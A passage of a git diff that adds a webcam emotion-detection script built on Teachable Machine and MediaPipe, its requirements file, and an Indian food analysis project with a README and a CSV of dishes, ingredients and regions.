ML/emotions/smile.jfif differ diff --git a/MachineLearning Projects/Emotion Detector using Google's Teachable ML/emotions/surprise.jfif b/MachineLearning Projects/Emotion Detector using Google's Teachable ML/emotions/surprise.jfif new file mode 100644 index 00000000..2de39fbe Binary files /dev/null and b/MachineLearning Projects/Emotion Detector using Google's Teachable ML/emotions/surprise.jfif differ diff --git a/MachineLearning Projects/Emotion Detector using Google's Teachable ML/main.py b/MachineLearning Projects/Emotion Detector using Google's Teachable ML/main.py new file mode 100644 index 00000000..85204ea7 --- /dev/null +++ b/MachineLearning Projects/Emotion Detector using Google's Teachable ML/main.py @@ -0,0 +1,58 @@ +import cv2 +import numpy as np +import mediapipe as mp +from keras.models import load_model +from keras.preprocessing import image +# from tensorflow.keras.utils import img_to_array +from PIL import Image, ImageOps + +mpFaceDetection = mp.solutions.face_detection +mpDraw = mp.solutions.drawing_utils +faceDetection = mpFaceDetection.FaceDetection() + +model = load_model('./Teachable ML Data/keras_model.h5') + +cap = cv2.VideoCapture(1) + +results_detect = {0:"ðŸ˜",1:"😠",2:"☹ï¸",3:"😊",4:"😲"} +results_detect_str = {0:"happy",1:"angry",2:"sad",3:"smile",4:"surprise"} + +# pTime = 0 +while cap.isOpened(): + _,img = cap.read() + imgRGB = cv2.cvtColor(img,cv2.COLOR_BGR2RGB) + results = faceDetection.process(imgRGB) + if results.detections: + ih,iw,ic = img.shape + for id,detection in enumerate(results.detections): + bBoxC = detection.location_data.relative_bounding_box + bBox = int(bBoxC.xmin * iw),int(bBoxC.ymin * ih),int(bBoxC.width * iw),int(bBoxC.height * ih) + # cv2.rectangle(img,bBox,(255,0,255),2) + roi_gray = img[bBox[1]:bBox[1] + bBox[2], bBox[0]:bBox[0] + bBox[3]] + roi_gray = cv2.resize(roi_gray, (224, 224)) + cv2.imwrite("image.jpg",roi_gray) + + + data = np.ndarray(shape=(1, 224, 224, 3), dtype=np.float32) + image = Image.open('image.jpg') + size = (224, 224) + image = ImageOps.fit(image, size, Image.ANTIALIAS) + image_array = np.asarray(image) + normalized_image_array = (image_array.astype(np.float32) / 127.0) - 1 + data[0] = normalized_image_array + prediction = model.predict(data) + res = np.argmax(prediction) + + # predictions = np.argmax(model.predict(np.array([roi_gray]))) + # cv2.putText(img, results_detect[res], (150,50), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 2) + + temp_emotion = cv2.imread(f"./emotions/{results_detect_str[res]}.jfif") + cv2.imshow("emotion", temp_emotion) + print(results_detect[res]) + + cv2.imshow("Image",img) + + key = cv2.waitKey(1) + if key == ord('q'): + cv2.destroyAllWindows() + break \ No newline at end of file diff --git a/MachineLearning Projects/Emotion Detector using Google's Teachable ML/requirements.txt b/MachineLearning Projects/Emotion Detector using Google's Teachable ML/requirements.txt new file mode 100644 index 00000000..803956e5 --- /dev/null +++ b/MachineLearning Projects/Emotion Detector using Google's Teachable ML/requirements.txt @@ -0,0 +1,4 @@ +opencv-python==4.6.0.66 +mediapipe==0.8.11 +keras==2.9.0 +tensorflow==2.9.2 \ No newline at end of file diff --git a/MachineLearning Projects/Food-Data-Analysis/README.md b/MachineLearning Projects/Food-Data-Analysis/README.md new file mode 100644 index 00000000..9a5b251a --- /dev/null +++ b/MachineLearning Projects/Food-Data-Analysis/README.md @@ -0,0 +1,36 @@ +# Food-Data-Analysis + +This is an EDA(Exploratory Data Analysis) project report of Indian food dishes. +This project extensively utilizes classifciation along with data visualization using matplotlib to classify different Indian origin delicacies based on their taste, +state wise consumption, veg/non-veg and it's spicyness. + +Here are some of the results that we were able to derive based on our analysis. + +1) Coursewise distribution + +![image](https://user-images.githubusercontent.com/88388487/197797283-28112f8e-ffeb-4cec-b561-b4fd789b935f.png) + + + +2) Flavourwise distribution + +![image](https://user-images.githubusercontent.com/88388487/197797540-f9cb234d-5e6a-458a-bc59-bf1cd06c4b3a.png) + + + +3) Dietwise distribution + +![image](https://user-images.githubusercontent.com/88388487/197797758-1b5bdb8a-219f-4aa7-820b-ac38b3bf7f4c.png) + + + +4) Statewise distribution + +![image](https://user-images.githubusercontent.com/88388487/197797979-a3565d3a-6ab6-45fc-bea2-4347e69360bc.png) + + + +5) Region wise distribution + +![image](https://user-images.githubusercontent.com/88388487/197798161-a37c2ee2-aed6-4974-ab07-c8749f41d062.png) + diff --git a/MachineLearning Projects/Food-Data-Analysis/food_menu_data.csv b/MachineLearning Projects/Food-Data-Analysis/food_menu_data.csv new file mode 100644 index 00000000..679d5bec --- /dev/null +++ b/MachineLearning Projects/Food-Data-Analysis/food_menu_data.csv @@ -0,0 +1,256 @@ +name,ingredients,diet,prep_time,cook_time,flavor_profile,course,state,region +Balu shahi,"Maida flour, yogurt, oil, sugar",vegetarian,45,25,sweet,dessert,West Bengal,East +Boondi,"Gram flour, ghee, sugar",vegetarian,80,30,sweet,dessert,Rajasthan,West +Gajar ka halwa,"Carrots, milk, sugar, ghee, cashews, raisins",vegetarian,15,60,sweet,dessert,Punjab,North +Ghevar,"Flour, ghee, kewra, milk, clarified butter, sugar, almonds, pistachio, saffron, green cardamom",vegetarian,15,30,sweet,dessert,Rajasthan,West +Gulab jamun,"Milk powder, plain flour, baking powder, ghee, milk, sugar, water, rose water",vegetarian,15,40,sweet,dessert,West Bengal,East +Imarti,"Sugar syrup, lentil flour",vegetarian,10,50,sweet,dessert,West Bengal,East +Jalebi,"Maida, corn flour, baking soda, vinegar, curd, water, turmeric, saffron, cardamom",vegetarian,10,50,sweet,dessert,Uttar Pradesh,North +Kaju katli,"Cashews, ghee, cardamom, sugar",vegetarian,10,20,sweet,dessert,-1,-1 +Kalakand,"Milk, cottage cheese, sugar",vegetarian,20,30,sweet,dessert,West Bengal,East +Kheer,"Milk, rice, sugar, dried fruits",vegetarian,10,40,sweet,dessert,-1,-1 +Laddu,"Gram flour, ghee, sugar",vegetarian,10,40,sweet,dessert,-1,-1 +Lassi,"Yogurt, milk, nuts, sugar",vegetarian,5,5,sweet,dessert,Punjab,North +Nankhatai,"Refined flour, besan, ghee, powdered sugar, yoghurt, green cardamom",vegetarian,20,30,sweet,dessert,-1,-1 +Petha,"Firm white pumpkin, sugar, kitchen lime, alum powder",vegetarian,10,30,sweet,dessert,Uttar Pradesh,North +Phirni,"Rice, sugar, nuts",vegetarian,30,20,sweet,dessert,Odisha,East +Rabri,"Condensed milk, sugar, spices, nuts",vegetarian,10,45,sweet,dessert,Uttar Pradesh,North +Sheera,"Semolina, ghee, nuts, milk",vegetarian,10,25,sweet,dessert,Maharashtra,West +Singori,"Khoa, coconut, molu leaf",vegetarian,10,20,sweet,dessert,Uttarakhand,North +Sohan halwa,"Corn flour, ghee, dry fruits",vegetarian,10,60,sweet,dessert,Uttar Pradesh,North +Sohan papdi,"Gram flour, ghee, sugar, milk, cardamom",vegetarian,-1,60,sweet,dessert,Maharashtra,West +Chhena jalebi,"Chhena, sugar, ghee",vegetarian,10,50,sweet,dessert,Odisha,East +Chhena kheeri,"Chhena, sugar, milk",vegetarian,-1,60,sweet,dessert,Odisha,East +Chhena poda,"Sugar, chenna cheese",vegetarian,10,45,sweet,dessert,Odisha,East +Cham cham,"Flour, cream, sugar, saffron, lemon juice, coconut flakes",vegetarian,40,60,sweet,dessert,West Bengal,East +Kheer sagar,"Chenna, condensed milk, sugar, saffron, cardamom",vegetarian,25,60,sweet,dessert,Odisha,East +Ledikeni,"Chhena, sugar, ghee",vegetarian,45,45,sweet,dessert,West Bengal,East +Lyangcha,"Flour, fried milk power, sugar syrup",vegetarian,20,30,sweet,dessert,Assam,North East +Malapua,"Yoghurt, refined flour, ghee, fennel seeds",vegetarian,10,120,sweet,dessert,Bihar,North +Mihidana,"Besan flour, sugar, ghee",vegetarian,15,30,sweet,dessert,West Bengal,East +Misti doi,"Milk, jaggery",vegetarian,480,30,sweet,dessert,West Bengal,East +Pantua,"Chhena, sugar, ghee, flour",vegetarian,45,45,sweet,dessert,West Bengal,East +Pithe,"Rice flour, wheat flour",vegetarian,15,35,sweet,dessert,Assam,North East +Rasabali,"Chenna, sweetened milk",vegetarian,15,30,sweet,dessert,Odisha,East +Ras malai,"Chhena, reduced milk, pistachio",vegetarian,180,60,sweet,dessert,West Bengal,East +Rasgulla,"Chhena, sugar, cardamom",vegetarian,10,90,sweet,dessert,West Bengal,East +Sandesh,"Milk, sugar, saffron, cardamom",vegetarian,30,20,sweet,dessert,West Bengal,East +Adhirasam,"Rice flour, jaggery, ghee, vegetable oil, elachi",vegetarian,10,50,sweet,dessert,West Bengal,East +Ariselu,"Rice flour, jaggery, ghee",vegetarian,15,75,sweet,dessert,Andhra Pradesh,South +Bandar laddu,"Besan, jaggery, cardamom powder, ghee, cashews and raisins, jaggery syrup, sugar",vegetarian,5,35,sweet,dessert,Andhra Pradesh,South +Chikki,"Peanuts, jaggery",vegetarian,10,20,sweet,dessert,Maharashtra,West +Dharwad pedha,"Milk, Sugar, Dharwadi buffalo milk",vegetarian,20,60,sweet,dessert,Karnataka,South +Double ka meetha,"Loaf bread, milk",vegetarian,20,30,sweet,dessert,Telangana,South +Gavvalu,"Rice flour, sugar, salt, ghee, semolina",vegetarian,10,30,sweet,dessert,Andhra Pradesh,South +Kakinada khaja,"Wheat flour, sugar",vegetarian,10,30,sweet,dessert,Andhra Pradesh,South +Kuzhi paniyaram,"Black lentils, rice",vegetarian,10,20,sweet,dessert,Kerala,South +Mysore pak,"Besan flour, semolina, mung bean, jaggery, coconut, skimmed milk powder, sugar, ghee",vegetarian,5,20,sweet,dessert,Karnataka,South +Obbattu holige,"Maida flour, turmeric, coconut, chickpeas, jaggery, ghee, cardamom",vegetarian,180,60,sweet,main course,Karnataka,South +Palathalikalu,"Rice flour, milk",vegetarian,10,25,sweet,dessert,Andhra Pradesh,South +Poornalu,"Chana dal, jaggery",vegetarian,240,60,sweet,dessert,Andhra Pradesh,South +Pongal,"Rice, jaggery, cashews, ghee",vegetarian,5,20,sweet,dessert,Tamil Nadu,South +Pootharekulu,"Rice flour, powdered sugar, ghee",vegetarian,10,60,sweet,dessert,Andhra Pradesh,South +Qubani ka meetha,"Apricots, sugar syrup",vegetarian,10,20,sweet,dessert,Telangana,South +Sheer korma,"Vermicelli pudding, milk",vegetarian,10,20,sweet,dessert,Telangana,South +Unni Appam,"Rice flour, banana, jaggery, coconut",vegetarian,10,20,sweet,dessert,Tamil Nadu,South +Kajjikaya,"Rice flour, jaggery, coconut",vegetarian,40,15,sweet,dessert,Andhra Pradesh,South +Anarsa,"Rice flour, jaggery, khus-khus seeds",vegetarian,10,50,sweet,dessert,Maharashtra,West +Basundi,"Sugar, milk, nuts",vegetarian,10,35,sweet,dessert,Gujarat,West +Dhondas,"Cucumber, rava",vegetarian,10,50,sweet,dessert,Maharashtra,West +Doodhpak,"Milk, rice, sugar, dry fruits",vegetarian,10,60,sweet,dessert,Gujarat,West +Mahim halwa,"Semolina, sugar",vegetarian,10,25,sweet,dessert,Maharashtra,West +Modak,"Rice flour, coconut, jaggery ",vegetarian,10,15,sweet,dessert,Maharashtra,West +Shankarpali,"Sugar, ghee, maida flour, semolina",vegetarian,10,35,sweet,dessert,Maharashtra,West +Shrikhand,"Curd, sugar, saffron, cardamom",vegetarian,10,720,sweet,dessert,Maharashtra,West +Sutar feni,"Maida, sugar, ghee",vegetarian,15,55,sweet,dessert,Maharashtra,West +Maach Jhol,"Fish, potol, tomato, chillies, ginger, garlic",non vegetarian,10,40,spicy,main course,Assam,North East +Pork Bharta,"Boiled pork, onions, chillies, ginger and garlic",non vegetarian,-1,-1,spicy,main course,Tripura,North East +Chak Hao Kheer,"Rice, milk, sugar, cardamom",vegetarian,240,45,sweet,dessert,Manipur,North East +Galho,"Rice, axone, salt, water, chillies, pork",non vegetarian,5,15,spicy,main course,Nagaland,North East +Aloo gobi,"Cauliflower, potato, garam masala, turmeric, curry leaves",vegetarian,10,20,spicy,main course,Punjab,North +Aloo tikki,"Rice flour, potato, bread crumbs, garam masala, salt",vegetarian,5,20,spicy,main course,Punjab,North +Aloo matar,"Potato, peas, chillies, ginger, garam masala, garlic",vegetarian,5,40,spicy,main course,Punjab,North +Aloo methi,"Potato, fenugreek leaves, chillies, salt, oil",vegetarian,10,40,bitter,main course,Punjab,North +Aloo shimla mirch,"Potato, shimla mirch, garam masala, amchur powder, salt",vegetarian,10,40,spicy,main course,Punjab,North +Bhatura,"Chole, rava, yogurt, plain flour, baking soda",vegetarian,20,20,spicy,main course,Punjab,North +Bhindi masala,"Ladies finger, garam masala, kasuri methi, tomatoes, chili powder",vegetarian,20,30,spicy,main course,Punjab,North +Biryani,"Chicken thighs, basmati rice, star anise, sweet, green chillies",non vegetarian,30,120,spicy,main course,Telangana,South +Butter chicken,"Chicken, greek yogurt, cream, garam masala powder, cashew nuts, butter",non vegetarian,10,35,spicy,main course,NCT of Delhi,North +Chana masala,"Chickpeas, tomato paste, garam masala, ginger, red onion, avocado oil",vegetarian,20,30,spicy,main course,Punjab,North +Chapati,"Whole wheat flour, olive oil, hot water, all purpose flour",vegetarian,10,10,-1,main course,Maharashtra,West +Chicken razala,"Chicken, dahi, sesame seeds, garam masala powder, cashew nuts, saffron",non vegetarian,10,35,spicy,main course,West Bengal,East +Chicken Tikka masala,"Naan bread, tomato sauce, skinless chicken breasts, heavy cream, garam masala",non vegetarian,10,50,spicy,main course,Punjab,North +Chicken Tikka,"Chicken, whole wheat bread, rice flour, garam masala powder, whole egg",non vegetarian,120,45,spicy,starter,Punjab,North +Chole bhature,"Chole, bhatura, garam masala, bay leaf, cinnamon stick",vegetarian,20,30,spicy,main course,Punjab,North +Daal baati churma,"Moong dal, masoor dal, chana dal, wheat flour, almond",vegetarian,10,90,spicy,main course,Rajasthan,West +Daal puri,"Moong dal, garam masala powder, garlic, green chilli, all purpose flour",vegetarian,30,30,spicy,main course,West Bengal,East +Dal makhani ,"Red kidney beans, urad dal, cream, garam masala, chili powder",vegetarian,10,60,sweet,main course,Punjab,North +Dal tadka,"Pigeon peas, garam masala, ginger, red onion, kasuri methi",vegetarian,10,30,spicy,main course,Punjab,North +Dum aloo,"Baby potatoes, garam masala, cashew nuts, kasuri methi, tomatoes",vegetarian,20,50,spicy,main course,Jammu & Kashmir,North +Poha,"Beaten rice flakes, potato, curry leaves, green chilies, lemon juice",vegetarian,20,30,spicy,snack,Maharashtra,West +Fara,"Chana dal, whole wheat flour, arhar dal, white urad dal, garam masala powder",vegetarian,10,60,spicy,snack,Chhattisgarh,Central +Kachori,"Moong dal, rava, garam masala, dough, fennel seeds",vegetarian,30,60,spicy,snack,Uttar Pradesh,North +Kadai paneer,"Cottage cheese, bell peppers, gravy, garam masala, cashew nuts",vegetarian,20,30,spicy,main course,Punjab,North +Kadhi pakoda,"Besan, garam masala powder, gram flour, ginger, curry leaves",vegetarian,10,60,spicy,main course,Haryana,North +Karela bharta,"Bitter gourd, fennel, garam masala powder, chili powder, amchur powder",vegetarian,20,50,bitter,main course,Punjab,North +Khichdi,"Moong dal, green peas, ginger, tomato, green chili",vegetarian,40,20,spicy,main course,-1,-1 +Kofta,"Paneer, potato, cream, corn flour, garam masala",vegetarian,20,40,spicy,main course,Uttar Pradesh,North +Kulfi falooda,"Rose syrup, falooda sev, mixed nuts, saffron, sugar",vegetarian,45,25,sweet,dessert,-1,-1 +Lauki ke kofte,"Bottle gourd, garam masala powder, gram flour, ginger, chillies",vegetarian,20,40,spicy,main course,Uttar Pradesh,North +Lauki ki subji,"Bottle gourd, coconut oil, garam masala, ginger, green chillies",vegetarian,10,20,spicy,main course,-1,-1 +Litti chokha,"Wheat flour, roasted gram flour, tomato, nigella seeds, chilli",vegetarian,45,60,spicy,main course,Bihar,North +Makki di roti sarson da saag,"Palak, makki atta, mustard green, garam masala, ginger",vegetarian,25,30,spicy,main course,Punjab,North +Misi roti,"Whole wheat flour, chickpea flour, green chilies",vegetarian,30,30,spicy,main course,Punjab,North +Mushroom do pyaza,"Mushroom, malai, garam masala, ginger, capsicum",vegetarian,10,30,spicy,main course,Punjab,North +Mushroom matar,"Canned coconut milk, frozen green peas, wild mushrooms, garam masala, tomatoes",vegetarian,10,30,spicy,main course,Punjab,North +Naan,"Whole wheat flour, honey, butter, garlic",vegetarian,60,30,-1,main course,Punjab,North +Navrattan korma,"Green beans, potatoes, khus khus, low fat, garam masala powder",vegetarian,25,40,spicy,main course,Uttar Pradesh,North +Palak paneer,"Cottage cheese, palak, cream, garam masala, butter",vegetarian,20,40,spicy,main course,Punjab,North +Paneer butter masala,"Paneer, whipping cream, garam masala, cashew nuts, butter",vegetarian,20,40,spicy,main course,Punjab,North +Paneer tikka masala,"Paneer, greek yogurt, tandoori masala, cream, bell pepper",vegetarian,20,40,spicy,main course,Punjab,North +Pani puri,"Kala chana, mashed potato, boondi, sev, lemon",vegetarian,15,2,spicy,snack,-1,-1 +Panjeeri,"Whole wheat flour, musk melon seeds, poppy seeds, edible gum, semolina",vegetarian,10,25,sweet,dessert,Uttar Pradesh, +Papad,"Urad dal, sev, lemon juice, chopped tomatoes",vegetarian,5,5,spicy,snack,-1,-1 +Paratha,"Wheat flour, butter, potato, coriander",vegetarian,15,45,spicy,main course,Punjab,North +Pattor,"Arbi ke patte, sesame seeds, gur, bengal gram flour, imli",vegetarian,10,30,spicy,main course,Rajasthan,West +Pindi chana,"Fennel, tea bags, tomato, kasuri methi, cinnamon",vegetarian,500,120,spicy,main course,Punjab,North +Rajma chaval,"Red kidney beans, garam masala powder, ginger, tomato, mustard oil",vegetarian,15,90,spicy,main course,-1,North +Rongi,"Garam masala powder, tomato, kasuri methi, cinnamon, mustard oil",vegetarian,10,30,-1,main course,Punjab,North +Samosa,"Potatoes, green peas, garam masala, ginger, dough",vegetarian,30,30,spicy,snack,-1,-1 +Sattu ki roti,"Sattu, atta, dough, filling, mustard oil",vegetarian,10,20,spicy,main course,Bihar,North +Shahi paneer,"Cottage cheese, malai, garam masala, ginger, tomato",vegetarian,20,40,spicy,main course,Punjab,North +Shahi tukra,"Rose water, milk, white bread slices, saffron, almonds",vegetarian,10,30,sweet,dessert,Telangana,South +Vegetable jalfrezi,"Baby corn, french beans, garam masala, ginger, carrot",vegetarian,10,30,spicy,main course,Punjab,North +Tandoori Chicken,"Greek yogurt, garam masala, kasuri methi, marinade, mustard oil",non vegetarian,240,30,spicy,main course,Punjab,North +Tandoori Fish Tikka,"Chickpea flour, biryani masala powder, yogurt, fish fillets, green bell pepper",non vegetarian,240,30,spicy,starter,Punjab,North +Attu,"Whole wheat flour, arhar dal, ginger, kala jeera, green chilli",vegetarian,150,25,spicy,snack,Andhra Pradesh,South +Avial,"Raw banana, elephant foot yam, long beans, tindora, urad dal",vegetarian,30,45,spicy,main course,Kerala,South +Bisi bele bath,"Split pigeon peas, chana dal, urad dal, green peas, french beans",vegetarian,30,45,spicy,main course,Karnataka,South +Currivepillai sadam ,"Chana dal, urad dal, fresh coconut, sesame seeds, curry leaves",vegetarian,10,20,spicy,main course,Tamil Nadu,South +Dosa,"Chana dal, urad dal, whole urad dal, blend rice, rock salt",vegetarian,360,90,spicy,snack,-1,South +Idiappam,"Rice flour, hot water, grated coconut",vegetarian,120,30,spicy,snack,Tamil Nadu,South +Idli,"Split urad dal, urad dal, idli rice, thick poha, rock salt",vegetarian,360,90,spicy,snack,-1,South +Kanji,"Carrot, yellow mustard, red chilli, black salt",vegetarian,10,45,-1,snack,Kerala,South +Kaara kozhambu,"Sesame oil, drumstick, tamarind paste, sambar powder, tomato",vegetarian,-1,-1,spicy,main course,Tamil Nadu,South +Keerai kootu,"Moong dal, chana dal, spinach, urad dal, coconut oil",vegetarian,20,30,spicy,main course,Tamil Nadu,South +Keerai masiyal,"Urad dal, curry leaves, sugar, mustard seeds, spinach",vegetarian,-1,-1,spicy,main course,Tamil Nadu,South +Keerai sadam,"Greens, tomato, mustard seeds, fenugreek seeds",vegetarian,10,20,spicy,main course,Tamil Nadu,South +Keerai poriyal,"Amaranth leaves, split urad dal, mustard seeds, grated coconut, red chili",vegetarian,20,30,spicy,main course,Tamil Nadu,South +Beef Fry,"Beef, coconut, garam masala, curry leaves, green chilies, chili powder",non vegetarian,10,60,spicy,main course,Kerala,South +Kootu,"Chana dal, urad dal, potato, beans, peas",vegetarian,10,15,spicy,main course,Tamil Nadu,South +Kos kootu,"Moong dal, chana dal, cabbage, tamarind, curry leaves",vegetarian,10,20,spicy,main course,Tamil Nadu,South +Koshambri,"Moong dal, cucumber, curry leaves, green chili, lemon juice",vegetarian,10,20,spicy,main course,Karnataka,South +Kothamali sadam,"Chana dal, urad dal, gooseberry, raw rice, curry leaves",vegetarian,10,20,spicy,main course,Tamil Nadu,South +Kuzhakkattai,"Sesame oil, raw rice, jaggery, grated coconut",vegetarian,10,90,spicy,main course,Tamil Nadu,South +Kuzhambu,"Pearl onions, urad dal, drumsticks, tomato, curry leaves",vegetarian,5,30,spicy,main course,Tamil Nadu,South +Masala Dosa,"Chana dal, urad dal, potatoes, idli rice, thick poha",vegetarian,360,90,spicy,snack,-1,South +Pachadi,"Coconut oil, cucumber, curd, curry leaves, mustard seeds",vegetarian,10,25,-1,main course,-1,South +Paniyaram,"Yogurt, ginger, curry leaves, baking soda, green chilli",vegetarian,10,20,-1,main course,Tamil Nadu,South +Papadum,"Lentils, black pepper, vegetable oil",vegetarian,5,5,spicy,snack,Kerala,South +Paravannam,"Raw rice, jaggery, milk",vegetarian,-1,-1,spicy,main course,Kerala,South +Payasam,"Rice, cashew nuts, milk, raisins, sugar",vegetarian,15,30,sweet,dessert,-1,South +Paruppu sadam,"Arhar dal, sambar powder, tomato, curry leaves, fennel seeds",vegetarian,10,20,-1,main course,Tamil Nadu,South +Pesarattu,"Green moong beans, rice flour",vegetarian,120,20,spicy,snack,Andhra Pradesh,South +Poriyal,"Chana dal, urad dal, beans, coconut, mustard",vegetarian,-1,-1,spicy,main course,Tamil Nadu,South +Puli sadam,"Urad dal, lemon, tamarind, cooked rice, curry leaves",vegetarian,10,20,-1,main course,Tamil Nadu,South +Rasam,"Tomato, curry leaves, garlic, mustard seeds, hot water",vegetarian,10,35,spicy,main course,-1,South +Puttu,"Brown rice flour, sugar, grated coconut",vegetarian,495,40,-1,main course,Kerala,South +Sambar,"Pigeon peas, eggplant, drumsticks, sambar powder, tamarind",vegetarian,20,45,spicy,main course,-1,South +Sandige,"Thin rice flakes, black sesame seeds, curry leaves",vegetarian,120,60,-1,main course,Karnataka,South +Sevai,"Sevai, parboiled rice, steamer",vegetarian,120,30,-1,main course,-1,South +Thayir sadam,"Urad dal, curd, sesame oil, ginger, curry leaves, mustard seeds",vegetarian,10,20,-1,main course,Tamil Nadu,South +Theeyal,"Coconut, whole red beans, masala, sesame oil, tamarind",vegetarian,15,20,-1,main course,Kerala,South +Uttapam,"Chana dal, urad dal, thick poha, tomato, butter",vegetarian,10,20,spicy,snack,-1,South +Vada,"Urad dal, ginger, curry leaves, green chilies, black pepper",vegetarian,15,20,spicy,snack,-1,South +Chicken Varuval,"Meat curry powder, chicken chunks, ginger, tomato, cinnamon",non vegetarian,10,35,spicy,main course,Tamil Nadu,South +Upma,"Chana dal, urad dal, ginger, curry leaves, sugar",vegetarian,10,20,spicy,snack,-1,-1 +Amti,"Kala masala, arhar dal, curry leaves, mustard seeds, hot water",vegetarian,10,45,spicy,main course,Maharashtra,West +Zunka,"Gram flour, mustard, garlic, turmeric, red chilli",vegetarian,10,25,spicy,main course,Maharashtra,West +Kolim Jawla,"Baingan, fish, coconut oil, fresh coconut, ginger",non vegetarian,-1,-1,spicy,main course,Maharashtra,West +Saath,"Urad dal, potatoes, wheat flour, sooji",vegetarian,20,40,spicy,main course,Gujarat,West +Bajri no rotlo,"Wheat flour, pearl millet flour, hot water",vegetarian,10,10,spicy,main course,Gujarat,West +Coconut vadi,"Condensed milk, mawa, desiccated coconut, almonds, cashews",vegetarian,20,30,sweet,dessert,Maharashtra,West +Bhakri,"Jowar flour, sesame seeds",vegetarian,20,25,-1,main course,Maharashtra,West +Bombil fry,"Bombay duck, malvani masala, rice flour, bombay rava, green chilies",non vegetarian,-1,-1,spicy,main course,Maharashtra,West +Chakali,"Rice flour, sesame, plain flour, turmeric, red chilli",vegetarian,10,40,spicy,snack,Maharashtra,West +Chevdo,"Citric acid, fry, raisins, sugar, chana daal",vegetarian,20,30,spicy,snack,Gujarat,West +Chorafali,"Urad dal, bengal gram flour, dried mango, baking soda, black salt",vegetarian,5,15,spicy,snack,Gujarat,West +Copra paak,"Condensed milk, nestle cream, coconut ice, red food coloring, desiccated coconut",vegetarian,20,30,-1,main course,Gujarat,West +Daal Dhokli,"Whole wheat flour, dal, kokum, gur, bengal gram flour",vegetarian,20,30,spicy,main course,Gujarat,West +Kutchi dabeli,"Pav, aloo, peanut, pomegranate, star anise",vegetarian,30,10,spicy,snack,Gujarat,West +Dahi vada,"Urad dal, bhuna chana, garam masala, dates, tamarind",vegetarian,30,30,-1,snack,Maharashtra,West +Dalithoy,"Arhar dal, coconut oil, curry leaves, mustard seeds, red chilli",vegetarian,5,20,-1,main course,Maharashtra,West +Dhokla,"Rava, coconut, gram flour, mustard, sesame",vegetarian,10,20,spicy,snack,Gujarat,West +Dudhi halwa,"Bottle gourd, green, raisins, sugar, clarified butter",vegetarian,15,30,sweet,dessert,Gujarat,West +Gatta curry,"Yogurt, besan, sauce, garam masala powder, gram flour",vegetarian,10,20,spicy,main course,Rajasthan,West +Gud papdi,"Wheat flour, jaggery, clarified butter, sliced almonds",vegetarian,10,20,sweet,dessert,Gujarat,West +Ghooghra,"Dry fruits, semolina, all purpose flour",vegetarian,-1,-1,spicy,snack,Gujarat,West +Handwo,"Bottle gourd, chana dal, cabbage, urad dal, toor dal",vegetarian,20,30,spicy,snack,Gujarat,West +Halvasan,"Whole wheat rava, chia seed, lemon, edible gum, litre milk",vegetarian,-1,-1,sweet,dessert,Gujarat,West +Jeera Aloo,"Green chilies, lemon juice, chili powder, boiled potatoes",vegetarian,10,30,spicy,main course,Gujarat,West +Kansar,"Wheat flour, cashews, rapeseed oil",vegetarian,10,40,-1,main course,Gujarat,West +Keri no ras,"Mango, sugar",vegetarian,10,10,sour,main course,Gujarat,West +Khakhra,"Whole wheat flour, low fat, bengal gram flour",vegetarian,20,40,spicy,snack,Gujarat,West +Khandvi,"Green chili paste, white sesame seeds, gram flour, curry leaves, green chili",vegetarian,20,45,spicy,snack,Gujarat,West +Kombdi vade,"Rice flour, urad dal, wheat flour, gram flour, turmeric",vegetarian,10,25,spicy,snack,Maharashtra,West +Laapsi,"Cinnamon, jaggery, clarified butter, dry roasted",vegetarian,10,40,spicy,main course,Madhya Pradesh,Central +Koshimbir,"Cucumber, carrot, tomatoes, cilantro",vegetarian,10,10,spicy,main course,Maharashtra,West +Methi na Gota,"Rava, gram flour, lemon juice, turmeric, fenugreek leaves",vegetarian,15,30,bitter,main course,Gujarat,West +Mohanthal,"Rose water, pistachio, badam, bengal gram flour, saffron",vegetarian,5,45,sweet,dessert,Gujarat,West +Muthiya,"Bottle gourd, whole wheat flour, rava, sesame seeds, bengal gram flour",vegetarian,15,30,bitter,snack,Gujarat,West +Patra,"Arbi ke patte, sesame seeds, gur, bengal gram flour, imli",vegetarian,10,40,spicy,snack,Gujarat,West +Pav Bhaji,"Pav bhaji masala, gobi, potatoes, green peas, dinner rolls",vegetarian,20,40,spicy,main course,Maharashtra,West +Puri Bhaji,"Aloo, urad dal, mustard, ginger, curry leaves",vegetarian,10,30,spicy,main course,Maharashtra,West +Sabudana Khichadi,"Raw peanuts, sabudana, lemon, avocado oil, curry leaves, green chili",vegetarian,70,30,spicy,snack,Maharashtra,West +Sev khamani,"Khaman, pomegranate, sev, powdered sugar, garlic",vegetarian,20,30,spicy,main course,Gujarat,West +Sev tameta,"Sev, ginger, tomato, sugar",vegetarian,20,30,spicy,main course,Gujarat,West +Namakpara,"Wheat flour, baking soda, all purpose flour, black pepper, sunflower oil",vegetarian,10,35,spicy,snack,Gujarat,West +Sukhdi,"Whole wheat flour, gur, clarified butter",vegetarian,10,20,sweet,dessert,Maharashtra,West +Surnoli,"Rice flakes, yogurt, raw rice, jaggery, grated coconut",vegetarian,60,10,spicy,snack,Maharashtra,West +Thalipeeth,"Whole wheat flour, rice flour, pearl millet flour, sorghum flour, sesame seeds",vegetarian,25,30,spicy,main course,Maharashtra,West +Undhiyu,"Sweet potato, surti papdi, baby potatoes, valor papdi, green peas",vegetarian,25,60,spicy,main course,Gujarat,West +Veg Kolhapuri,"Gobi, potato, beans, khus khus, coconut",vegetarian,20,30,spicy,main course,Maharashtra,West +Vindaloo,"Chicken, coconut oil, wine vinegar, ginger, green, cinnamon",non vegetarian,10,40,spicy,main course,Goa,West +Lilva Kachori,"Green garlic chutney, fresh green peas, ginger, lemon juice, plain flour",vegetarian,30,6,spicy,snack,Gujarat,West +Mag Dhokli,"Moong beans, jaggery, red chillies, oil, salt",vegetarian,-1,-1,spicy,snack,Gujarat,West +Khichu,"Rice flour, sesame seeds, baking soda, peanut oil",vegetarian,5,10,spicy,snack,Gujarat,West +Thepla,"Chickpea flour, methi leaves, jowar flour, wheat flour",vegetarian,15,30,spicy,snack,Gujarat,West +Farsi Puri,"Semolina, clarified butter, oil, white flour, black pepper",vegetarian,-1,-1,-1,snack,Gujarat,West +Khaman,"Yogurt, fresh coconut, sesame seeds, semolina, gram flour",vegetarian,10,20,spicy,snack,Gujarat,West +Turiya Patra Vatana sabji,"Ridge gourd, baking soda, sugar, grated coconut, peas",vegetarian,35,40,spicy,main course,Gujarat,West +Churma Ladoo,"Whole wheat flour, khus khus, sesame seeds, dry coconut, gur",vegetarian,12,40,sweet,dessert,Rajasthan,West +Cheera Doi,"Rice, mango, curd",vegetarian,-1,-1,sweet,dessert,West 